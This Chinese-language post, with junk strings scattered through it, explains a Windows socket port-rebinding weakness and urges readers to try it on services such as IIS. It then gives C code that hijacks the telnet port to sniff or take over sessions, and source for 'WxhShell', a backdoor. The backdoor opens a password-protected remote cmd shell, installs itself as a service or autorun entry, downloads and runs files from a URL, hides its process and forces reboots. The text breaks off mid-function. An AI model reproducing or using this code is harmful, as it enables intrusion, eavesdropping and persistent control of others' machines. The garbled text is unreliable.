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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7\6g>4J^` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); { LvD\4h" <Q~N9W saddr.sin_family = AF_INET; Mk}T 7
~~ug saddr.sin_addr.s_addr = htonl(INADDR_ANY); _"1RidhH [<#jK}g bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Op%OQ14$ xJCxzJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :*}Q/]N >9{?]x 这意味着什么?意味着可以进行如下的攻击: SY+0~5E OT
0c5x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I_r@Y:5{ Me.I>7c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s(=wG| G!Zb27u+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5bLNQz\WJ 1p}H,\o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 oVvA`}
Z_q+Ac{p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .^wpfS c<_%KL&R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |UB$^)Twb L!cOg8Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +Uq|Yh'Q 6$R9Y.s>Z #include =-2~>B #include <,M"kF: #include FH=2,"A #include 3ay},3MCV% DWORD WINAPI ClientThread(LPVOID lpParam); ?@rd,:'dE int main() zV&l^. { 9^}&PEl WORD wVersionRequested; 9hA`I tS DWORD ret; hp~q!Q1= WSADATA wsaData; = QBvU)Ki BOOL val; !/}3/iU SOCKADDR_IN saddr; pa!BJ]~ SOCKADDR_IN scaddr; 8ZY]-% int err; E8!`d}\# SOCKET s; v)+g<! SOCKET sc; _9h$8(wjn int caddsize; h$02#(RHJ HANDLE mt; )=5&Q DWORD tid; \4N8-GwZQ wVersionRequested = MAKEWORD( 2, 2 ); RrMEDMhk6 err = WSAStartup( wVersionRequested, &wsaData ); :*Wq%Y=
if ( err != 0 ) { sM-,95H printf("error!WSAStartup failed!\n"); VhO%4[Jl return -1; }X)vktE+| } 296}LW
saddr.sin_family = AF_INET; ["3dr@T9Z A8m06 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UY(T>4H+h @"7S$@cO saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bT,_=7F saddr.sin_port = htons(23); PT~htG<Fw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pkn^K+<n, { /7UvV60 printf("error!socket failed!\n"); iXMJ1\!q\| return -1; ;XN|dq } K7RAmX val = TRUE; P6v ANL-B //SO_REUSEADDR选项就是可以实现端口重绑定的 { M**a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1&dtq,|N { E=8'! printf("error!setsockopt failed!\n"); zy,SL
|6: return -1; 83vMj$P } `dvg5qQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0i*V? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;C@mT;hR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K0gQr.J53 ;5tOQ&p%v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {'IO { 11oNlgY& ret=GetLastError(); kOydh(yE printf("error!bind failed!\n"); r07u6OA return -1; DB|1Sqjsn } ^ptybVo listen(s,2); JN
wI{ while(1) kvwnqaX { njs: caddsize = sizeof(scaddr); dxX`\{E //接受连接请求 ]hS:0QE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m4/qxm"Dx: if(sc!=INVALID_SOCKET) Vm%G
q { `]KX`xGK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AT&K> NG if(mt==NULL) eAlOMSL\ { @62,.\F printf("Thread Creat Failed!\n"); GAj%o]}u break; Blxa0&3 } MJGT|u8O& } _LaG%* R6 CloseHandle(mt); 3x;UAi+& } WoTeIkM9 closesocket(s); gv`_+E{P WSACleanup(); EVPQe- return 0; ;\pVc)\4" } aj5HtP- DWORD WINAPI ClientThread(LPVOID lpParam) O)q4^AE$ { g#$ C8k SOCKET ss = (SOCKET)lpParam; (h0@;@@7hW SOCKET sc; Hhknjx unsigned char buf[4096]; ozRO:*51 SOCKADDR_IN saddr; +YvF+E long num; #tV1?q DWORD val; LSC[S: DWORD ret; Gn2{C% //如果是隐藏端口应用的话,可以在此处加一些判断 ga
+,
P //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]d1'5F][H saddr.sin_family = AF_INET; "-&K!Vfs saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V#ELn[k saddr.sin_port = htons(23); Vgj#-7bdyi if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a
8k2*u { uRb48Qy2 printf("error!socket failed!\n"); ]yPK}u return -1; :BPgDLL, } Eg)24C R 4 val = 100; (%B{=w}8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @AZNF+
\W$ { yI^Yh{
ret = GetLastError(); :H&Q!\a return -1; uz!8=,DFw } p7|I>8ur. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d'';0[W) { X~r9yl> ret = GetLastError(); LA Crg return -1;
o
]*yI[\ } Xe_ <]| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D)PX |xrn { E*YmHJ:k printf("error!socket connect failed!\n"); )E.AY closesocket(sc); }+!"mJx@ closesocket(ss); in1rDN%Vi return -1; dEk#"cvg } HgY@M while(1) @6"MhF { liS' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b=EI?XwJ //如果是嗅探内容的话,可以再此处进行内容分析和记录 !P{ /;Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |Y!^E %* num = recv(ss,buf,4096,0); cNd&C'/N if(num>0) `Q*`\-8J send(sc,buf,num,0); JQKXbsXS else if(num==0) *ak0(yLn) break; -9dZT num = recv(sc,buf,4096,0); RW&o3_Ua if(num>0) 6y^
zC? send(ss,buf,num,0); \Eh5g/,[ else if(num==0) Zv
%>m break; LaJvPOQ } J&aN6 l? closesocket(ss); J2Dn closesocket(sc); @(#vg\UH return 0 ; Pl B3"{}0Q } *O$|,EsY fS"u"]j*e Nw. )O ========================================================== ]0R*F30] Y!M0JSaM 下边附上一个代码,,WXhSHELL %G!!0V! 3P0z$jh"H ========================================================== \aJ>? Osqk#Oh #include "stdafx.h" lj]M 1zEz& v`oilsrc #include <stdio.h> bD,21,*z #include <string.h> v\w*VCjoV #include <windows.h> xdO3koE: #include <winsock2.h> 7g*!6-W[ #include <winsvc.h> q?LOtN? o #include <urlmon.h> 1`?o#w j&
7>ph #pragma comment (lib, "Ws2_32.lib") ;!HQ!#B #pragma comment (lib, "urlmon.lib") 8U@f/P RFbf2s\t #define MAX_USER 100 // 最大客户端连接数 ;}Jv4Z #define BUF_SOCK 200 // sock buffer ~m fG
Yk" #define KEY_BUFF 255 // 输入 buffer Q9cSrU[$ qXtC7uNj$ #define REBOOT 0 // 重启 cpk\;1&t #define SHUTDOWN 1 // 关机 =Z.0-C>W Sd6O?&( #define DEF_PORT 5000 // 监听端口 7Q!ksp %i? #define REG_LEN 16 // 注册表键长度 Py*WHHO #define SVC_LEN 80 // NT服务名长度 ,It0brF .M:&Aj)x16 // 从dll定义API ZW;Ec+n_K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qy9_tvq
X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :0@0muo typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _EMXx4J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4]1/{</B| 6?,qysm06 // wxhshell配置信息 xtGit} struct WSCFG { SXsszb:_ int ws_port; // 监听端口 B}04E^ char ws_passstr[REG_LEN]; // 口令 ILCh1=?{9r int ws_autoins; // 安装标记, 1=yes 0=no N@PuC> char ws_regname[REG_LEN]; // 注册表键名 ;\th.!'rn char ws_svcname[REG_LEN]; // 服务名 .J -k^+- char ws_svcdisp[SVC_LEN]; // 服务显示名 46vC/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 ">7xSWR*4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p@78Xmu?q int ws_downexe; // 下载执行标记, 1=yes 0=no UG.:D';3, char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" v^eAQoFLhN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >C,0}lj oJM;CN }; tzN9d~JZ 6`2i'flv // default Wxhshell configuration FqJd struct WSCFG wscfg={DEF_PORT, qVU<jt "xuhuanlingzhe", O\7x+^. 1, Q7u|^Gu,5 "Wxhshell", 6c+29@ "Wxhshell", ~0CNCP "WxhShell Service", Y1lUO[F j "Wrsky Windows CmdShell Service", ,%Z&*/*Oh "Please Input Your Password: ", "L5w]6C4 1, r Hq1%)B " http://www.wrsky.com/wxhshell.exe", ;r2DQg"#@ "Wxhshell.exe" f IV"U }; P_b5`e0O M"]?'TMfXc // 消息定义模块 <]?71{7X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g Nz char *msg_ws_prompt="\n\r? for help\n\r#>"; Ip{hg,> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; #N3*SE char *msg_ws_ext="\n\rExit."; hg12NzbK char *msg_ws_end="\n\rQuit."; pej-W/R& char *msg_ws_boot="\n\rReboot..."; (f"Qz~R|6_ char *msg_ws_poff="\n\rShutdown..."; !l dE9 . char *msg_ws_down="\n\rSave to "; '[6]W)f :&5u) char *msg_ws_err="\n\rErr!"; BUZ74 char *msg_ws_ok="\n\rOK!"; zecM|S _ YQ+8lANC char ExeFile[MAX_PATH]; &=t~_ Dc int nUser = 0; MZVbOcSAd HANDLE handles[MAX_USER]; bBINjs8C_ int OsIsNt; G l/3*J 2G|}ENC SERVICE_STATUS serviceStatus; 2KXFXR SERVICE_STATUS_HANDLE hServiceStatusHandle; &2:WezDF w*'DlP<7 // 函数声明 gD%o0jt" int Install(void); 6&+dpr&c~= int Uninstall(void); ^Zs^ int DownloadFile(char *sURL, SOCKET wsh); =l2 @'Y Q int Boot(int flag); dw#pObH|` void HideProc(void); HziQ%QR int GetOsVer(void); YeJTB} int Wxhshell(SOCKET wsl); `!N.1RP _ void TalkWithClient(void *cs); Wv5=$y int CmdShell(SOCKET sock); Y<^Or int StartFromService(void); Up-^km int StartWxhshell(LPSTR lpCmdLine); yo5-x"ze /p;OZf] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GQ
Flt_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); k'.cl^6Z8 860y9wzU // 数据结构和表定义 !]"M]tyv\ SERVICE_TABLE_ENTRY DispatchTable[] = QBmARQ { LB7$&.m'B {wscfg.ws_svcname, NTServiceMain}, V#599- {NULL, NULL} DM6(8df( }; Hj-n
'XZ b7'A5]X // 自我安装 4EeVO5 int Install(void) aa]| { /"!ck2d&1 char svExeFile[MAX_PATH]; WO69Wo\C HKEY key; R8.@5g_ strcpy(svExeFile,ExeFile); oeVI 6-_S 0<-A2O), // 如果是win9x系统,修改注册表设为自启动 |p/[sD+M if(!OsIsNt) { $XyDw|z[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %7[d5[U~ZA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !K.)Qr9 V RegCloseKey(key); @B)5Ho if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m{*_%tjN0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O~J f"Ht RegCloseKey(key); 9;gy38.3 return 0; d|tNn@jN } z\k6."e_& } Hm 0;[i } $W;r S7b else { NHdNCHhA>- (=%0x"' // 如果是NT以上系统,安装为系统服务 BN`tiPNEp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nc EPPl0I if (schSCManager!=0) zcV~)go6 { 7Or?$ SC_HANDLE schService = CreateService 3cqc< ( M%13b$i~f schSCManager, pcQzvLk wscfg.ws_svcname, 0CeBU(U+|R wscfg.ws_svcdisp, fsKZ SERVICE_ALL_ACCESS, ^AwDZX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ uL4'@Ej SERVICE_AUTO_START, h ^zcM_ SERVICE_ERROR_NORMAL, rb.:(d)T svExeFile, )\e0L/K@ NULL, LK|rLoia: NULL, >U:.5Tch'V NULL, bT:;^eG" NULL, nqYarHi NULL V[*<^% ); ~c,+)69"T if (schService!=0) ZB$,\|^6 { hs)_h^P
CloseServiceHandle(schService); d~CZ9h CloseServiceHandle(schSCManager); of_Om$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ['c*<f"
D2 strcat(svExeFile,wscfg.ws_svcname); 7?Twhs.O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p1s&
y0:d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); od/Q"5t[p RegCloseKey(key); mnYzn[d3U return 0; c=B!\J<1 } }1Hy[4B(k\ } ~Ctq CloseServiceHandle(schSCManager); I~M@v59C } |dqAT . } K}dvXO@=|c D<4cpH return 1; .L3D] } O3L:v{Kn GZiN&}5e // 自我卸载 K{G\=yJ(( int Uninstall(void) "V4ru&a { I(Q3YDdb HKEY key; y $>U[^G[ 5F5)Bh if(!OsIsNt) { Dv BRK}' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 35#"]l" RegDeleteValue(key,wscfg.ws_regname); ]#O~lq RegCloseKey(key); /kFw(l_. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T;Ra/H RegDeleteValue(key,wscfg.ws_regname); enQev?8% RegCloseKey(key); ESY\!X:| return 0; eBlB0P
} D0p>Q^w } u85Uy
yN } &(X-b"2 else { d+6-ten qJJ~#W) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '_M"yg6d if (schSCManager!=0) vy5SBiK { VL@eR9}9K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \yo)oIi[p if (schService!=0) 7,D6RP(b { >KCnmi if(DeleteService(schService)!=0) { AI*1kxR CloseServiceHandle(schService); ,a@jg&Mb] CloseServiceHandle(schSCManager); T oK'Pd return 0; +Ft@S(IE } cY%6+uJ1 CloseServiceHandle(schService); IaYy5Rw } G+W0X CloseServiceHandle(schSCManager); "D/\&1.& } sxn^1|O;m } qa)Qf,` l 1Ns~ return 1; !Im{-t } Ub*O*nre J*r%b+ // 从指定url下载文件 \XgpwvO". int DownloadFile(char *sURL, SOCKET wsh) >0jg2vqt { :)Z.! HRESULT hr; b#{[Pk,w9 char seps[]= "/"; ]@mV9:n{ char *token; \m3ca-Y char *file; 0r'<aA`=I char myURL[MAX_PATH]; 4X:S#z
char myFILE[MAX_PATH]; J4^aD;j ]w9\q*S] strcpy(myURL,sURL); 8al%F_r] token=strtok(myURL,seps); 0X4%Ccs while(token!=NULL) q5ja \ { QMWDII&t file=token; 4A~1Z,"%v( token=strtok(NULL,seps); DH{^9HK } A\};^Y .KzU7 GetCurrentDirectory(MAX_PATH,myFILE); |$.`4h? strcat(myFILE, "\\"); tFYod# strcat(myFILE, file); Kv>P+I'|r send(wsh,myFILE,strlen(myFILE),0); @vkO(o send(wsh,"...",3,0); =S}SZYwl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `l`)Cs;a if(hr==S_OK) Ld:U~M- return 0; Ny)N else Ga#5xAI{a return 1; G[z4 $0f nEboet-#D0 } $"6O92G(hJ DmpG35Jk // 系统电源模块 hy{1 Ea/T int Boot(int flag) w>Y!5RnO { &Uu8wFbIJ HANDLE hToken; I`FqZw TOKEN_PRIVILEGES tkp; DE _<LN
h}cR>
if(OsIsNt) { =^S1+B
MY- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w{5v*SHl}` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %XAF"J tkp.PrivilegeCount = 1;
Oa/# 2C~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jK9#.
0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hNF. if(flag==REBOOT) { kB $?A8Olu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &3%V%_ return 0; MY"8! } eg
Zb)pP else { 4vbtB2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G [$u`mxV^ return 0; Bi$nYV)-l } G[M{TS3&Ds } h;?H4j else { 1/%g
VB8 if(flag==REBOOT) { `c%{M4bF\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x|`o7. return 0; xN=:*#Z"pb } [$AOu0J else { bAZx*qE= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cqc5jx0) return 0; 0mD=Rjb*a } \zGmZZ } f?|cQ[#t!\ z*B-`i. return 1; F>/"If# } b'$fr6"O1 ^L"ENsOs // win9x进程隐藏模块 3}9c0%}F void HideProc(void) o/5loV3h { 1&Ruz[F5 7\nR'MOZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Tq*K
=^ if ( hKernel != NULL ) o"-*,:Qe { pZaOd;t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nb ,+!)+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %AnqT|\#, FreeLibrary(hKernel); :#&Y } ;>Q.r{P 8-cCWoc return; ZI/Ia$O } oQ"J>`', ~|5B // 获取操作系统版本 #<EMG|&( int GetOsVer(void) >0Gdxj]\ { =!{
E!3>*D OSVERSIONINFO winfo; ;'~GuZ#I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9E-]S'Z GetVersionEx(&winfo); r;
pS_PV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [OK( return 1; J.^%VnrFO9 else VYC$Q;Z return 0; @^UnrKSd } l11+sqg $>=?'wr // 客户端句柄模块 CZ4Nw]dtR int Wxhshell(SOCKET wsl) a15kFun { ,J)wn;@ SOCKET wsh; aq-R#q struct sockaddr_in client; ,3~[cE<4 DWORD myID; ?|,-Bft3 gOL-b9W while(nUser<MAX_USER) |QcE5UC { 7;x}W-`iF int nSize=sizeof(client); %MH!L2| wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^a{cK if(wsh==INVALID_SOCKET) return 1; LZF%bJv CP"
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5KI lU78 if(handles[nUser]==0) $2'Q'Mx[gd closesocket(wsh); v3]mZ}W$ else wi$,Y.: nUser++; ^DH*\ee } *p Q'w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vnvfu!>( vE<z0l return 0; GZCX m+ } bj$VYS"kY 1Q>D^yPI[ // 关闭 socket Y `ySNC void CloseIt(SOCKET wsh) E@%9u# { "s.]amC closesocket(wsh); tX@G`Mr( nUser--; R7Z7o4jg ExitThread(0); "B3&v%b } \~~y1.,U. sm9/sX! // 客户端请求句柄 +fRABY5C void TalkWithClient(void *cs) Wi%e9r{hU { rS&"UH?c7 `m7w%J.> n SOCKET wsh=(SOCKET)cs; ~H~iKl}|7 char pwd[SVC_LEN]; Iq["(!7E5 char cmd[KEY_BUFF]; SL ) ope char chr[1]; i4s_:%+ int i,j; H2
Gj(Nc- +u\kTn while (nUser < MAX_USER) { 8LH\a.> )Lb?ZXT3 if(wscfg.ws_passstr) { }K'gjs/N; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |rr<4>)X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %]1.)j //ZeroMemory(pwd,KEY_BUFF); vtu!* 7m i=0; X5w_ }Nhe while(i<SVC_LEN) { ])tUXU> On*pI37(\ // 设置超时 CD:$22*] fd_set FdRead; v{c,>]@ struct timeval TimeOut; +]dh`8*8>1 FD_ZERO(&FdRead); H&_drxUq;L FD_SET(wsh,&FdRead); G%FLt[ TimeOut.tv_sec=8; S\"#E:A TimeOut.tv_usec=0; ]21`x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x*7Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "
.<>(bE s=[T,:Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^sqTgrG pwd =chr[0]; Lh;U2pA if(chr[0]==0xd || chr[0]==0xa) { \h48]ZjC` pwd=0; >O$JS, break; y)*W!]:7^> } u0{R;) i++; z`esst\aV } e gdbv *VV#o/Qp // 如果是非法用户,关闭 socket Ouos f1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #ni:Bwtl{ } +Z=%4 qLWM,[Og send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mfinh@K, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l?<DY$H
0 'dvi@Jx while(1) { J|=0 :G 5`\"UC7?% ZeroMemory(cmd,KEY_BUFF); /hp
[ +K %Kzu&*9Hb // 自动支持客户端 telnet标准 Zgw4[GpL j=0; LTWiCI while(j<KEY_BUFF) { ^Gwpx+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &qyXi[vw cmd[j]=chr[0]; ?"-1QG if(chr[0]==0xa || chr[0]==0xd) { Ny` =]BA cmd[j]=0; 1EAQ ~S!2 break; tV"Jh>Z } 1uco{JX<S j++; *)D$w_06S } 2|\WaH9P O<()T6 // 下载文件 ^@HWw@GA if(strstr(cmd,"http://")) { 31&;3?3> send(wsh,msg_ws_down,strlen(msg_ws_down),0);
-^ R?O if(DownloadFile(cmd,wsh)) )K!!Zq3;| send(wsh,msg_ws_err,strlen(msg_ws_err),0); iiLDl else {M
^5w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +%=lu14G } \5P 5N]] else { x T1MW X4CiVV switch(cmd[0]) { j.kv!;Rj= nq
qqP // 帮助 k7kPeq case '?': { }uiD8b{I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I_5[-9 break; }fZ~HqS2w } P!u0_6 // 安装 g&r3; case 'i': { K^e4w`F| if(Install()) ~FnuO!C send(wsh,msg_ws_err,strlen(msg_ws_err),0); $EG9V++b3 else 9_xrw:4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e7r3o,! break; 9c{T|+] } 5;@2SY7, // 卸载 js;k,` case 'r': {
N<~LgH if(Uninstall()) 6%Pvh- ~_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hq
aay else Ij2Th] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ 0/m$V. break; 3?Fe(!@ } -unQ4G // 显示 wxhshell 所在路径 %m##i case 'p': { $6]1T> char svExeFile[MAX_PATH]; _0o65?F strcpy(svExeFile,"\n\r"); E<'V6T9bi strcat(svExeFile,ExeFile); 5}TTf2&Xo# send(wsh,svExeFile,strlen(svExeFile),0); GG
%*d] break; ^G14Z5. } <9]J/w+ // 重启 eCjyx|:J case 'b': { [&sabM`Ul send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -ND1+`yD if(Boot(REBOOT)) !@>q^_Gez send(wsh,msg_ws_err,strlen(msg_ws_err),0); nCDG PzJ else { D<'G\#n3I= closesocket(wsh); bFVY& ExitThread(0); M>ntldV#g% } U>0bgL break; Y-+JDrK } Z5eM // 关机 DfX~}km case 'd': { y#FFxSH> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1L%$\0B4hm if(Boot(SHUTDOWN)) WsW] 1p send(wsh,msg_ws_err,strlen(msg_ws_err),0); M_h8{ else { +z<GycIc?K closesocket(wsh); y
~Fi ExitThread(0); JC#5CCz } =w7+Yt break; \|C*b< } T0N6k acl // 获取shell q<[o 4qY case 's': { b+$E*} CmdShell(wsh); jB,VlL closesocket(wsh); _k#!^AJ}x ExitThread(0); K"zRj L+ break; gF:|j( } qq"0X! w // 退出 =1\mLI}@ case 'x': { 0|ekwTx. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {E.A?yej9 CloseIt(wsh); B:ugEAo_ break; +1^L35\@ } y?Pw6;e. // 离开 {a]u case 'q': { O7m-_#/\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); EFv^uve closesocket(wsh); y"k%Wa`* WSACleanup(); 9\uBX.]x exit(1); [#%@,C break; u/ri
{neP{ } 6!H,(Z]j } UkcH+0o } \f7R^;`_<R K{:[0oIHc // 提示信息 x,HD,VQR/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 55/)2B2J } KE-0/m4yJ } )hC3'B/[Y e/x6{~ju^N return; T.W^L'L` } UG3}|\.u ^].U?t.n) // shell模块句柄 D^6Q`o int CmdShell(SOCKET sock) jp|*kBDq\ { 4I#@xm8) STARTUPINFO si; h]/3doP ZeroMemory(&si,sizeof(si)); gAgF$H . si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z
pDc~ebh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _jH./ @G PROCESS_INFORMATION ProcessInfo; iUs_)1 char cmdline[]="cmd"; Y$9x!kV CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "\u<\CL return 0; Y@7n>U } q2s=>J'; YF>15{H // 自身启动模式 ^$]iUb{\ int StartFromService(void) #J t1AV { u>=\.d< typedef struct F$i 6 { 39I|.B" DWORD ExitStatus; <
<F DWORD PebBaseAddress; p_vldTIW DWORD AffinityMask; >">Xd@Wk DWORD BasePriority; f4VdH#eng` ULONG UniqueProcessId; /PbMt ULONG InheritedFromUniqueProcessId; dH'02[; } PROCESS_BASIC_INFORMATION; ZQn>+c2%! BAi`{?z$< PROCNTQSIP NtQueryInformationProcess; FAX[|p }z,9!{~` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eZD"!AT static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }2S)CL= {R"mvB` HANDLE hProcess; {`-AIlH( PROCESS_BASIC_INFORMATION pbi; p+0gE5 vy`
